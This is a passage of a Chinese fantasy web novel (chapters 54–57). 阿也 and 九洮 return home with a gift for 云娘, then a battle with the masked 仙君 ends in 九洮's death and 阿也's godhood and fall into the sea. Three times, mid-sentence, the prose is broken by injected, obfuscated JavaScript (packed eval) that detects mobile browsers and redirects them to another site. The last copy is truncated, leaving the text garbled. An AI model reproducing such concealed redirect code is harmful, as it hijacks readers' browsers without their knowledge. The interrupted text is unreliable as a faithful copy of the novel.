见到那双总是弯起的桃花眼里盛满不安,阿也忽然意识到从前留在仙族的那些年里,九洮同自己一样,其实并不快乐。 “不喜欢这里?”阿也轻声道。 “这里的菜很难吃。”九洮一顿,小声说,“我想吃云娘做的也桃糕。” “那我们明日逛完市集就回家。”阿也笑道,“去给云娘买一把新琵琶。” 九洮用力地点了点头,“要最好的那种!” “好了,睡吧。”阿也轻拍她的背,哄道,“别怕,我在这儿。” 在哼唱的小谣中,九洮心满意足地睡去了,而阿也睁着眼,看着屏风上的夜色逐渐浓厚。 一如当年,在尚未成长到能闯出流潦之森时,她和九洮结伴而行,就是这样一人入睡,一人守夜,警惕着未知的危险。 54. 回家 “你酉时便启程?” 灵君震惊,“这才修养不过两日!”他似是想起什么,叹道,“你不愿久留……也罢。待会再服一贴药,老夫去炼些丹丸。” 阿也抿着发苦的舌根,轻轻点头。 “既然你意已决,那老夫帮你一把,敷衍敷衍那小子。”接过空药碗,灵君深深看了阿也一眼,“好好考虑,老夫等你的答复。” 阿也挥了挥手,意思是让人走时别忘记关门。 “没大没小!”灵君气冲冲地摔门而去。 听人走远了,九洮方从被褥里钻出来,瞧一眼她的脸色,顶着鸡窝似的发髻跳下床,寻来蜜饯和清茶。 “姐姐,那个死老头让你考虑什么?”九洮眨了眨眼,好奇地问。 清茶溶了酸苦,淌进腹中,暖洋洋的。阿也饮完一杯,伸手捋顺了九洮一缕打结的鬓发,含笑问:“你想不想去更多地方看看?” “更多地方?唔……”九洮歪着头,趴在她手边,轻轻蹭了蹭,“只要跟着姐姐,去哪里都好。” “那我们回去同云娘商讨一下。” 夕阳在九洮的期盼下终于落幕,华灯初上,二人并肩走进喧闹的市集。大红灯笼高高挂,彩绸随夜风飘扬。摊贩在街道旁热情叫卖,行人成群结队,其乐融融。 “姐姐,快看!” 阿也应声回头,视野被万千天灯照亮,仿佛星河流过夜幕,璀璨绚烂。二人顺应人流向前,如同共乘一叶扁舟。 “姐姐,你看那里!” 不到片刻,她又顺着九洮的指向看去。高台之上,舞姬身姿婀娜,若柔韧垂柳,腕上银铃清脆,臂间水袖翩跹。 “真好看啊,像要飞起来。”九洮喃喃自语,忽然问,“云娘跳起舞来,也这么好看?” 没想到她会突然提起云娘,阿也一怔,点点头,“好看。” “那姐姐,你能不能和我说一说她?”九洮扭捏道,“云娘她……为什么要跟着你?” 阿也想了想,坦诚道:“我不知。” “姐姐你肯定知道!你就告诉我吧!”九洮拽住她的衣袖摇来摇去,不肯放手,“告诉我嘛——” 禁不住她闹,阿也无奈道:“我的确不知,这是云娘之事,你既好奇,不如回去问她?” “不行不行,我要是问她,她肯定会笑话我的!”九洮嚷嚷几句,又泄了气,“好吧好吧,要是她笑话我,我就把琵琶藏起来,不给她了!” 撂下狠话,她一跺脚,直往人堆里冲,被阿也一把拉住,“等等,斋乐行在这边。” 走到半路,被一溜光彩照人的簪镯钗环勾住心神,九洮挪不开眼,等走远了,还不忘回头盯着看。 见状,阿也无奈道,“试试吧。” “这个好看,这个也好看……”九洮不客气地拿起摊上饰品,一一在头上试戴,兴奋地展示给人看,“这个好看吗?” 金玉珠翠插了满头,不伦不类,阿也却道:“好看。”见摊主面色含怒,她放下沉甸甸的一袋金叶子,微微颔首,“劳烦将这些都包起来。” 摊主不以为然地打开钱袋,只消一眼,立刻系紧了,飞快动作起来,将摊面一扫而空。 “谢谢姐姐!”九洮高兴得蹦了起来,抢着接过摊主诚惶诚恐递来的大包小包,大摇大摆,叫阿也笑道:“得意忘形。” 等到了最大的斋乐行,还没进门,九洮一眼相中琉璃柜里那把金槽琵琶,玉镂红文,丝线细如发。 “真漂亮啊。”九洮悄悄拉过她,小声道,“肯定不便宜。” “无妨。”阿也道。 彼一露面,立刻有掌柜打扮的迎上来,恭敬地行礼,“大人,最近新来一批货,品相尚可,您瞧一瞧,可有能入您眼的?” “他认识你?”九洮小声道,十分意外。 出门急,忘记换衣服了。视线在自己领边的金丝剑纹顿了顿,阿也环顾三面琉璃柜中巧夺天工的物件,还是数那琵琶最为出彩,便道,“那琵琶价钱几何?” “小人惶恐!”掌柜立刻唤伙计去取,连连颔首道:“此物能被您瞧上,该是它的福气。” 等阿也收下玉盒出了门,九洮才回过神,跟上来,哆哆嗦嗦道,“我,我是不是看错了?那价标的可是七千金,就,就这么送我们了?” “很贵?”阿也问。 这一问令九洮瞠目结舌,“姐姐,你,你这么有钱?”她惨叫一声,“等等,刚才你给的那袋不会都是金叶子吧?我还以为是铜子!” “不必担心,钱够花的。”阿也拍了拍她的头,如实道来,“像那样的,我还有很多。” “很多?”九洮追问,“有多少?” 阿也估了一会,道:“约有一方。” 第一次见到这样算钱。足有半晌,九洮才伸出手来,幽幽道:“姐姐,我不知道一方有多少钱,但我猜,要是云娘知道你买那些细碎东西花了整整一袋金叶子,一定会很生气。” 摘下尾戒放在她手心,阿也轻咳一声,“这是秘密。” 月光照在崎岖山路上,薄薄地洒了一层,被树影晃动,犹如波动之水。林中偶尔响起几声清脆的鸟鸣,愈显幽静。 前方小院隐隐显出轮廓,阿也望了眼天色,忽然道:“不知云娘可睡下了。” “我来听一听。”九洮立起雪白竖耳,抖了一抖,眼睛一亮,“有声音,人肯定还没睡!”她连跑带跳地冲上前,撞开门,“我们回来啦!” 砰的一声巨响,将树下的人吓得跳了起来。 “我还以为是谁!”云娘松了口气,埋怨道,“怎么这么久才回来,年都要过完了。” “姐姐她……”九洮想也不想道。 阿也及时打断,“路上耽误了点时间。” 九洮立刻意会,连忙点头,见云娘衣摆沾了泥,手上还举着铁锄,探头探脑地问,“你在干嘛呢?” “开春时我试着酿了点酒,方才睡不着,临时起意,想着挖出来看看。”云娘不好意思地笑笑,“要是酿好了,就等你们回来喝。” 她让开一步,露出树底下的土坑,陶泥罐已显出大半,“不过还差一些。” “我来挖我来挖!”九洮自告奋勇,举起五指,眨眼间变作毛茸茸的兽爪,三两下刨开土坑,捧起陶泥罐,“看我的!” “好好好,知道你最厉害了。”云娘接过陶泥罐放好,掬起一捧雪,连带着自己的手和那对兽爪一同搓洗,“你呀你。” “好凉,快点,痒死了。”九洮小声抱怨着,但始终没有抽回手,脸悄悄红了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314820|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 终于用手帕擦干净,云娘心满意足,“好了。”她犹豫一下,揭开红封,闻到淡淡酒香,欣喜过望,“成了!” “好耶!”九洮欢呼。 阿也打了个响指,酒液飞出陶罐,分为清凉的三团,落入寒气凝成的冰杯之中,微微荡漾,倒映出夜中月色。 “居然是温的,不愧是姐姐!” “大人好厉害。” 两人纷纷接过面前的冰杯,同阿也一样高高举起,在半空碰响,声音清脆,在小院中久久回荡。 “你会跳舞吗?”九洮咬碎杯壁,嘎吱嘎吱地嚼了起来,含糊不清地问。 这没头没脑的一句令云娘一愣,笑道:“会的。你想看吗?” “我不是这个意思……”九洮连连摆手,嗫嚅半天,闭上眼,英勇就义般道,“我是姐姐从流潦之森捡回来的,你呢?” 云娘睁大了眼,好一会儿,才明白她的意思,噗嗤一声笑了出来。 “不许笑!”九洮恼道,转向阿也,“姐姐我就说她会笑我吧!不要给她了!” “我不是这个意思。”云娘忙道,又一顿,“等等,给我什么?” “九洮替你挑了新琵琶。”阿也拿出精美的礼盒,郑重地摆在云娘面前。 “这……”云娘眼眶忽而红了,手伸出去了又缩回,“这太贵重了!我……” “感谢的话就别说了,不如多给我做一些也桃糕吃!”九洮轻哼一声,催促道:“快拆快拆!” 云娘打开玉盒,指尖微颤,撩开锦缎,捧出那把琵琶,试着拨动弦,铮铮淙淙,是已校过的音,便顺手弹过一段曲,招来九洮敬佩的目光。 “略通音律罢了。”云娘解释道,“我原是大人救下来的舞姬。” “你是舞姬?”九洮震惊道,“我上回看到你在拉筋,还以为是在练功。” “那的确是在练功,大人教了我一些简单的剑招。”云娘回归原本的话题,“当年……大人初入仙族之时,我被召去在宴会上献舞,退场后,有个纨绔公子喝醉了,上来对我动手动脚的……” “岂有此理!换我来我咬不死他!”九洮怒道,“那其他人呢?死哪去了!就这么眼睁睁看着?” “他血统尊贵,仆从们不敢劝阻,害怕招来祸患。”云娘朝阿也感激一笑,颔首道,“关键时刻,是大人出手救了我。” “那时候,大人一脚踹开他,踩着他的脸说……”云娘抿唇一笑,面色一沉,模仿阿也冷冰冰的语气,吐出那个字,“滚。” “真厉害啊,姐姐。”九洮一下消气了,捂嘴偷笑。 有什么好笑的?阿也心想,感觉脸上烧得慌,于是低头品酒。 “自那以后,我便一直跟在大人身边。”云娘转向九洮,翻起旧帐,“再后来,便是你打上门来……” “什么打上门!我明明是来找姐姐的!”九洮为自己喊冤,忽然想起什么,兴致勃勃道,“说起来,姐姐还有一回……” 弦月西斜,树影东倾。又闲聊了许久,其实都是些很琐碎的、价值不高的事情。 所以时隔多年,阿也忘了聊的内容,也想不起来云娘是如何回答自己归入灵族的提议,只记得到最后,她似是酒劲上头,踏着月色翩翩起舞,青衣若羽衣。 55. 异动 “大人,最近……外围有些不太平。” 将视线从手中话本移开,阿也抬起眼,示意戚晓继续。 “以往顶多有一两个凶兽不长眼,在大人出手后,能保半年太平,但近来一月,已进犯十余次,且不等大人出面,就逃之夭夭,实在蹊跷。”戚晓压低声音,“我怀疑……” 见他犹豫半天,阿也索性补全他的话,“有人在暗中指使?” “大人英明!”戚晓抱拳,“但城内囊括四域,不知是哪位招来的仇家,更难以排查始末。” 思索一阵,阿也放下话本,起身,“去看看。” “是。”戚晓亦步亦趋地跟出门,正面迎上云娘,嗅到一股诱人的甜香,循着味看向她手中竹篮,目光闪动。 “我去练剑了。”阿也微微颔首。 云娘一顿,叮嘱道:“小心些,今天一定要早点回来。”注意到戚晓直勾勾的视线,她提起竹篮,试探道:“这是我刚做的糕点,戚城主要尝一尝吗?” 戚晓扬起笑,正要开口,被阿也回头看了一眼,立即一激灵,忙不迭摆手,“不敢,不敢。”他低眉顺眼地跑上前,替阿也推开竹门,“大人,您请,您请。” 二人一前一后走过小路,进入山中腹地。 不远处,一月未见的城墙被菟丝子般的灰白脉络爬满了,细看之下,孔洞密布,很是粗糙,虽是从未见过的材质,但令人直觉异常坚硬。 “这是什么?”阿也问。 “一种固化手段。”戚晓解释道,“月初城墙险些被毁,来不及修缮,我便以本体填补缺漏,以确保您设下的结界稳固。” “角扇蚌?”阿也想起他的本体,又道,“那你如何?” “目前来看,见效甚笃。上一回,凶兽连门都没能撞开,我在考虑……”一鼓作气说了大半,戚晓才意识到阿也是在关心他,惶恐道:“于我无碍。” “考虑什么?”阿也回归正题。 谈及正事,戚晓神色一凛,“考虑用部分本体搭建城墙,受伤后能自行修复,省去许多劳力。”他一顿,讪讪道,“但会留疤,就有点,不太好看。” 说话间阿也迈入城门,正对墙体上那一条半里长的灰白凸起,仿佛一节裸露的胫骨。 “这些是什么?”阿也指向凸起两边的细密结晶,一丛又一丛,像成团的圆润鱼籽,内里传出元力波动,虽轻微,但很精纯。 “这些是受伤后的产物。”戚晓羞惭道,“大约算传说中沙砾变成珍珠这回事。” “那这个呢?”阿也偏过头。 城中央的广场上,赫然摆着一座祭坛,巨大的青晶柱被锁链层层缠绕,毅然镇压在环形底座的百种兽面之上,凛然不可犯。 “说起来,得亏有大人在。”戚晓轻咳一声,“先前妖族那边总是不满,四处闹事,命人做了这祭坛之后,就好了许多。” 认出那石盘上雕刻的正是手下败将们的遗容,阿也不可置否。 “大人,这东西您好生收着。”戚晓张望一阵,见四下无人,双手呈上一物—— 一粒鎏金海扇贝珠。 “这是我的妖丹。”戚晓恭敬道,“有了此物,您可自由出入本体内外,不受拘束。” 接过贝珠,阿也注意到其中似乎有东西,于是对日照看,一字一顿念了出来,“莫失莫忘,仙寿恒昌?” “大人!”没想到她会念出来,戚晓的脸唰一下红透了,磕磕绊绊道,“偶然听九姑娘说起您的生辰,感恩您这些年对我……对我和大家的照拂,因此自作主张……还请大人原谅我的冒昧之举!” “多谢。”阿也将贝珠贴着心口放入怀中,微微一笑,“我很喜欢。” 被这稀世罕见的一笑晃丢了三魂七魄,等戚晓好不容易找回,发现人早已走远了。 “唰——” 身影在林间疾速穿梭,长发在风中逼成一线。等到距离足够远,阿也轻巧落地,抚去肩头的落叶,淡淡道:“出来吧。” 片刻后,寂静被粗壮的呼吸声打破,一双双竖直的赤瞳在地面,草丛,甚至是枝头的阴影间显现——从她出城门的那刻起,就形成的包围圈。 轰隆一声响,面前的巨木陡然矮去半截。纷纷扬扬的木屑中,一头山狙跳了出来,死死盯住阿也,藏匿身后的凶兽们紧跟着显出真容,倒吊枝头的鹞鹰,潜伏草中的貙,吞吃卵带的负子蟾……形状各异,不一而足。 “主使者是谁?”阿也问。 “嗷呜——”山狙回以吼叫,涎水直流,身后兽群蠢蠢欲动,看待阿也的目光,像是一群饥肠辘辘的鬣狗遇见走散的羔羊。 阿也移步避开山狙一掌,险些被涎水弄脏衣物,于是腾空而起,打了个响指。 天地之间,温度骤降,水汽迅速汇聚,在周身凝聚出成千上万把冰剑,轻薄如雪花,也冷硬如金铁。 长发在风中狂舞,她眉眼沉静,如神女降世,五指虚虚一按,万剑齐发,如天雷降世,溅起一片热烈血光。 “怎么了?” 云娘见九洮忽地一顿,关切道,“这回新加了些甘草,是不合口味么?” “不对。”九洮放下也桃糕,仔细嗅闻一番,面色逐渐凝重,“好浓的血味。”她看向西北方,警觉道,“姐姐……在那里。” “大人有危险?”云娘腾一下站起来,差点掀翻圆桌。 “我去看看!”九洮跳下竹椅,三两步跑动后,化作一团红光,待光芒淡去,显露真身。 这是云娘第一次看到九洮完整的兽形,尽管有所猜测,但当真正见到时,仍然震撼得无以复加。 通体雪白,唯独四脚染红,像是踏着火焰,再往后,尤其那挥舞的九条尾巴,鲜红欲滴,仿佛熊熊燃烧的火把——九尾狐。 没想到往日娇小的个子蜕变为兽形,骤然拔高数十尺,此时云娘甚至不及其膝,被迫仰头看她,好在及时回神,抢先一步拦下九洮,“我也要去!” “不行。”兽爪焦急地刨开地面,九洮的声音较往常更低沉,如雷电轰鸣,“外面很危险!” “大人教过我保命之法!”云娘拔出长剑,嗡鸣清脆。她目光灼灼,亦十分执着,“我和你一起去!” “你……”九尾狐喷出一口热气,见云娘不闪不避,拗不过她,便伏低身体,“那你上来!我们一起去找姐姐!” 林中血雨方歇,滴滴答答,洗过中央那道静止的人影,仿佛一尊红泥塑像。 半晌,塑像忽然动了。阿也垂眸,视线扫过一地冰剑碎片和残破兽尸的混合物,面无表情。 “还想看多久?”她忽然开口。 “啪,啪,啪。”三声清脆的拍掌,空中荡起涟漪,白影跨过虚空,悄无声息地显形。 视线在那人领口的金丝剑纹一顿,随后上移,停在那张粗制滥造的硬木面具上,阿也淡淡道,“仙君。” “果然,一下即被你堪破。”仙君赞赏道,既无隐藏声线的意图,也没有摘下面具的举动。 直截了当地张开五指,数不清的血珠从地面浮起,汇聚成一把长剑。指节扣紧剑柄,阿也抬眼,目光如刀,“有何贵干?” “吾本意并非如此。”仙君叹息,字字冷洌,“可你千不该,万不该,动了归入灵族的心思。” “你偷听我们谈话?”阿也冷声道。 “非也。”仙君抬指,“是你亲自说与吾听的。” 猝不及防的疼痛席卷全身,如被万蚁啃噬,阿也咬牙克制,目视一缕黑气脱离心口,于是被消去的记忆再度回归,不可置信道:“用凶兽豢养相柳的人,是你?” 那人弯起眉眼,隐藏多年的温润褪去了,像是潜伏的凶兽终于搏得给予致命一击的时机,酣畅淋漓,“不错,是吾。” “多谢你截杀相柳,助吾功力大成。” 猜测被印证了,心头却隐隐作痛。阿也一手横亘血剑,另一手架在腕间,摆出起手式,低声问,“你究竟想干什么?” “吾要你……” 随着这一声,更多竖直的赤瞳在林中接连亮起,如群狼环伺。 那双漆如点墨的眼里掠过阴影,一字一顿。 “独属于吾。” 风从耳畔呼啸而过,上下颠簸。 云娘紧紧抱住狐耳,以防被震落。 远方的钟声疯狂颤鸣,显然城中意识到不对,正在召回在外的子民。 离得近了,云娘闻到浓烈的血腥,犹如实质,绞紧肺腑,令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324711|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人窒息,下意识攥紧一簇狐毛,盯紧爬满城墙的灰白脉络,仿佛新生的树筋,厮杀声不绝于耳沸反盈天。 九洮越过拦路的木栅栏,云娘顺应起伏抬高身体,看见城门半开,内外一片混乱。 外侧黑压压的一片凶兽争破了头脸,直往门里拱,而内里,戚晓率人拼死抵抗,试图将城门关闭。 “吼——” 九洮在戚晓身后停下脚步,仰天长啸,声浪中的浩然威压令兽群齐齐一滞。 “小心!云娘趁机挥剑,斩断一根偷袭戚晓的触手,“戚城主!” 兽潮再度拥上来,九洮一口将身前的戚晓叼起,扬爪,一掌将探进门中的朱厌头颅拍碎,返身退回。 “这是怎么回事?”云娘急声问道。 “兽潮,是兽潮!”戚晓脸色铁青,“是……从大人那边过来的!” 云娘脸色一白,“你是说……” “姐姐没事。”九洮安抚道,“你看那些凶兽身上,都有剑伤。” “那就好。”云娘定下心神。 说话间,增援赶到了,竟是以豹妖为首的一群妖兽,十分眼熟。 “怎么,很意外?”豹妖重重拍了拍戚晓的肩头,有一种大仇得报的畅快,“咱平时在家里打打闹闹就图个乐子,居然敢来真的?” 他呲出尖牙,凶相毕露,“兄弟们,给我上!” 妖兽加入,原本僵持的战局瞬间扭转,沉重的城门被众人和众兽合力推着,寸寸前移。 九洮伏低身体,示意云娘下来,“你守在这里,我先去探路,很快回来。” 云娘自知实力有限,趴在狐耳边认真叮嘱,“你小心些,不要莽撞。”她跳下来,一顿,不解地看向舔舐自己衣摆的九洮,“怎么了?” “有我的气息,那些东西就不敢来欺负你。”长吻轻轻蹭了蹭云娘的腰,九洮温声道,“保护好自己。” “你……”戚晓察觉九洮意图,立即阻拦,“别去,外面很危……”话没说完,被九洮一脚蹬开。 赶在城门闭合之前,九洮踏地而起,修长的身形划出流畅的弧线,仿佛一道仅有红白二色的虹桥,从缝隙中一跃而出。 “姐姐!”她低吼一声,九尾狂乱舞动,硬生生撕开一道口子,逆着兽潮,奔向西北方。 “咕——”一声凄厉的尖叫。 仙君仰头,望向在半空中徒手拧断了鹰脖的阿也,那双赤瞳鲜红欲滴,连发间也淌着血,凶如罗刹。 “砰!”最后一只鹞鹰的尸体被扔到他脚边,血溅上靴面,仿佛红梅入雪,零落成泥。 “你总是令吾感到惊喜。”仙君无奈地摇头,却语带笑意,“幸而无铭不在,否则这世上,怕是无人能挡你。” 他张开双臂,袖袍无风鼓动。一股又一股黑气钻出来,凝成实质,犹如坚硬锁链,相互纠缠间磨出铿锵声,锁头一一对准阿也,仿佛一群昂扬的蛇。 水火在背后升腾,交织如如阴阳双鱼,阿也慢慢调整吐息,平复剧烈的心跳,过多的凶兽已耗去她的大半气力,而始作俑者却是第一次出手,不得不防。 “去。”仙君轻叱一声。 破空声尖锐如啸,锁链鱼贯而出。 “咔咔咔——” 瞬息之间,寒冰冻结锁链,随后火焰倾泻而出,爆出一连串声响,冲击层层叠加,逼得仙君倒退数步,化去余力。 山林在这一击下哀鸣,树倾石裂,不远处的湖荡起滔天浪潮,扑上岸边,又被烈焰蒸干。 锁链被冰与火炸断,洋洋洒洒,仿若飞灰。 视野重回清明,余光注意到黏在手背上的浮尘,阿也正要去吹,却见那些浮尘蓦然弹起,钻进七窍之中。 “唔!”阿也闷哼一声,黑气在四肢百骸中冲撞,叫人动弹不得,只能眼睁睁看着万千锁链袭来,贯穿血肉又抽身离去,绽开大片深深浅浅的红。 那样浓烈的艳色,像极了院里那株繁盛的也桃。 也桃的花期很长,但也捱不过深秋。到了那时候,先是金黄的花蕊变暗,干瘪卷曲,然后是花萼由绿发黄,慢慢枯萎,花瓣失了承托的力道,风一吹,便轻飘飘地掉下来—— 正如此时此刻,九洮在她面前坠落。 56. 流潦之战 “不要——” 撕心裂肺的咆哮中,阿也硬生生冲破禁锢,俯冲而下,抱住九洮,双双坠入湖中。 汹涌浪花吞没了水茧,浮起一缕薄红。 “九洮,九洮!”阿也一遍遍地呼唤,使人保持清醒,同时处理伤口,但太多太深,怎么也处理不过来,血顺衣摆淌落,滴滴答答。 “姐姐......”兽形开始退化,露出那张惨白的脸。九洮勉强笑了一下,一张口,血源源不断地涌出来,轻飘飘地向四面浮动,仿佛将散的烟。 “我在,我在这里。”阿也哑着嗓子应道,小心翼翼地俯身贴近,紧绷的脊背慢慢垮下,仿佛一座山的崩塌。 “姐姐……”九洮拉住她的手,一字一顿地说,“吃了我,一定,一定要成神……” 刹那间,脑海里一片空白,像是大雪落过的深夜——九洮听见了,她听见了灵君说的那番话。 “姐姐别怕,我在这里......”九洮喉头滚动,“吃了我……”她很努力地吞咽血沫,但血依旧不停从嘴角漫出来,声音含混不清,听起来恍如隔世。 “我.....”阿也偏开头,说不下去了,只能用力抱紧她,抱紧她娇小的、原本还可以长大的身体。 “杀了他,替我报仇……”九洮逼她看着自己,眼神一点点亮起,仿佛暗夜里的熊熊火光,要叫所有肮脏都付之一炬,拉住她的手却越来越无力,“一定,一定要活下去……” 不要再说了。阿也咬紧牙关,努力抗衡体内肆虐的黑气,但徒劳无功。 “求你......”九洮哀求道,一声弱于一声,但始终死死盯住阿也的眼睛,目光如炬,不允许任何逃避。 除此之外,什么也做不了。于是阿也慢慢低下头,隔着薄薄一层皮肉,感受到脉搏微弱的跳动,闻到温热的甜腥气。 在满地荒芜的冬日,在找不到猎物的时刻,她们曾相依为命了很多年,并将就此结束。 眼泪流下来,同涌出的血一起浸透衣襟,散在冰冷的水里,如烟如幕。 虚无的火焰烧起来了,耳边似乎有木头劈啪作响,阿也闻到烧焦的味道,飘扬的灰烬里,那些人手舞足蹈,他们嘶叫或哭嚎:“救命啊!” 求救声像浪潮拍过来,忽高忽低,将理智撕裂成凌乱线条,仿佛纠缠的救命稻草。 “救……救命啊。” 耳畔响起求救声,微微发颤。不知过了多久,阿也忽然意识到那是自己发出来的。 她明明救过那么多的人,那有没有,有没有谁能来救救她? 可四周湖水深沉如墨,被晕开的光浸出水底石砂,水面之上,天穹之下,是要来杀她,夺走她一切的人。 ……不。 不能原谅,不能屈服,她答应了九洮。 火焰飞速膨胀,在水中铺陈开来,所经之处,白气蒸腾着,叫嚣着向上喷涌。那副瘦小的骨架在黑气的催动下,再度变回兽形。 “杀……杀了他……” 她摇摇晃晃地站了起来,张开双臂,像是在向这具远去的尸骨索要一个拥抱。 “怎么回事!” 顾不得一哄而散的兽潮,戚晓惊惧地望向西北方,被那攀升的威势摄住心神,“是谁……” 日月同现,天地间的光亮仿佛都集中在那一处,与此同时,阴云汇聚,电闪雷鸣,试图与之对抗,山雨欲来,满城旗帜招。 胸口烫得快要烧起来,云娘心头猛地一沉,握住颈间晶柱,转身向城门跑去。 “你去哪儿!”戚晓一把拉住她,焦急道,“待会展开结界,你就再也回不来了!” “那就回不来!”云娘挥开他的手,御剑飞起,头也不回地冲入西北方的滚滚黑烟之中。 日月的光辉之中,阿也毅然屹立,仿佛以天地为炉,雷电为引,浇以血泪,再反复锻打,终究造就出一尊神祇。 眉间双枝缠刀的赤纹缓缓消融,她睁开双眼,瞳中有混沌翻滚不息。 水与火席卷了这片山林,草木生霜,沙土融化,元力磅礴,无可匹敌,却也紊乱至极,毫无条理。 “竟是神位。”仙君眼神骤冷,语气却依旧带笑,“得趁她还没完全掌握这力量……” 他高高抬手,身后黑气倾泻而出,仿佛一片夜幕猝然升起,与此同时,兽潮再度向此处汇聚。 “听我口令!”戚晓最后望了一眼西北方向,逼自己收回视线,双手结印,“结界,起!” 话音刚落,五颜六色的元力打在那根青晶柱上,皆融于其身,片刻后,荡出七彩涟漪,迅速向四周扩散。 攀附在城墙上的脉络乘着涟漪飞入空中,相互交织、固化,仿佛一片灰白的天幕,笼罩整座城池,牢不可破。 若是从此俯瞰,就能发现,透明的火焰正一片片张开,像是一柄柄飞刀,逐一插入流潦之森与周围板块的边界,斩断所有联系—— 以同归于尽的架势。 山林燃烧,河流哀鸣,锁链熔断,在溅射的火星与冰屑之中,云娘终于得见她的面容。 那是她从未见过的神色,那样的愤怒和悲伤,像是恶鬼重返人间,掀起地府滚烫的岩浆,势将整个天地埋葬。 熊熊烈火中,阿也高举双手,牵动天雷,吐出禁忌的咒文,乌云翻涌,仿佛灭世的前兆。 辽阔的火原寸寸降落,又忽然停住了。 阿也注视着封锁线上那团小小的人影,那么脆弱,那么柔软,像是新生的花骨朵,一阵风就能刮走。 若长天崩裂,厚土沉没,她要怎么办?她肉体凡胎,无法统御天地元气,甚至刚学会最基础的十六式剑法,如何能活下去? 但她一直在等你,在风雨里,在烈日寒霜里,在这场注定的死局里,她一直在等你。 算了,阿也想,算了吧。 在火原停滞的瞬间,一根锁链悄悄游动,像是暗中潜伏的毒蛇,瞄准时机,直冲云娘而去! 火原顿时迸裂,散为漫天火雨。 “大人!” 云娘只来得及叫出这一声,随即眼前骤暗,被人护在怀里,翻滚着,颤抖着,不知撞破多少阻碍,才停了下来。 从眩晕中清醒过来,云娘翻身坐起,眼前乱石堆叠,血从石缝中涌出来。她使劲刨开碎石,一遍遍地大声呼唤,祈求能听到回音,“大人、大人……” “哗啦——” 一只手突然探出来,抓住她。 如此有力的回应,令高悬的心重重落回胸膛。云娘顺着手的方向,小心翼翼地搬开最后的遮挡物,得见砾石里残破的人形,眼泪一下涌出来,“大人……” 云娘轻轻握住那只手,温热的血顺着指尖源源不断地流过来,仿佛无穷无尽,最后连自己的一身青衣也泡在红色里。 心意决定了,坚若磐石。她低下头,脸侧贴着交叠的手心和手背,“大人,我在这里,云娘在这里。” “我陪你一起死。”云娘轻声说。 这一声仿佛触及某个开关,人形一震,慢慢坐了起来。凌乱的额发间,阿也眉头微动,终于睁开眼,瞳仁涣散,暗淡无光。 云娘眼一酸,“大人……” 但温热席卷了她,一个充满血味的拥抱。 “太好了。”腥气骤然浓郁起来,“你还活着……” “我陪你一起……”云娘用力地回抱她,认真重复之前的誓言,不等说完,忽然被推开了。 “大人?”云娘看着怀中的鎏金海扇贝珠,不安袭上心头,她追上前,“大人!” 阿也却向后退去,距离逐渐拉开。她注视着云娘慌乱的神色,喑哑道:“别怕。” “轰隆——” 大地开始震动,远比之前的任何一次都更剧烈,山脉崩塌,地穴被撕裂,唯有那片湖安然无恙,平滑如镜,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而更高处,年轻的仙君负手背后,仿佛庙中高坐莲座的神像,受世人竭诚拜谒,一颗黄金铸成的心却恶毒。 似有所感,仙君低头,似叹非叹,似笑非笑,“你输了。” 锁链缠上四肢,冰冷滑腻,像是游弋枝头的毒蛇,将猎物紧紧包裹,团成漆黑的茧,不容挣脱。 真恶心。阿也盯紧那双胸有成竹的眼,仿佛笃定了自己会落入他手中,忽然勾唇一笑。 清脆的一声响中,她生生挣断臂骨,额角青筋暴跳,崩裂了凝结的寒冰,萎靡的火焰再度燃烧而起,仿佛回光返照。 或许这模样太过骇人,仙君下意识后退一步,于是争得一些时间—— 断裂的臂骨迅速愈合,她伸指搭上额角,深入识海,生生拽出自己的神魂,用尽全力掷入海中。 那本该是一团鲜红的火焰,因吞噬太多戾气而变得浑浊,几近漆黑。 循着云娘晶柱的气息,它追寻流潦之森的方向而去,就像一滴雨落入大海,无影无踪。 “是你输了!” 阿也仰天大笑,哪怕是抽筋伐髓的痛楚,也因仙君逐渐凝固的目光,变成爽利的快意。 “追!”仙君怒斥。 锁链听从他的指令,寸寸收紧,将血肉绞得一片模糊,与骨骼砥砺抗衡,像要刮擦出火星。 神魂远去了,识海开始崩塌。在失去最后的意识前,她纵身一跃,带着万千锁链坠入茫茫深海。 “咔咔咔——” 寒冰野蛮生长,被锁链冲撞而碎裂,但又立即愈合,瞬息之间,蔓延整片海域,将万物冻结。 于是那些冰渣被定格在没来得及落下的瞬间,仿佛一场遮天蔽日、永远也下不完的雪。 “一定……” 阿也吐出一连串气泡,注视着它们悠悠上升,随后凝固,定格在被吐出的时刻,又被接连不断的动荡撕开,与虚无融为一体。 视线穿过幽蓝的水体,白色或蓝色的气泡被封存在冰层之中,由下至上,逐渐稀疏。 形形色色,光怪陆离。 一如她远去的记忆。 慢慢合上双眼,阿也任由自己忘却时间,无止境地下坠,仿佛这一切不过是一场漫长的梦魇。 “一定要活下去啊。” 57. 留水之战 沉沉黑暗中,一点凉意落在鼻尖。 阿也睁开眼,支起身体,揉了揉发麻的手腕,看向窗外——下雪了。 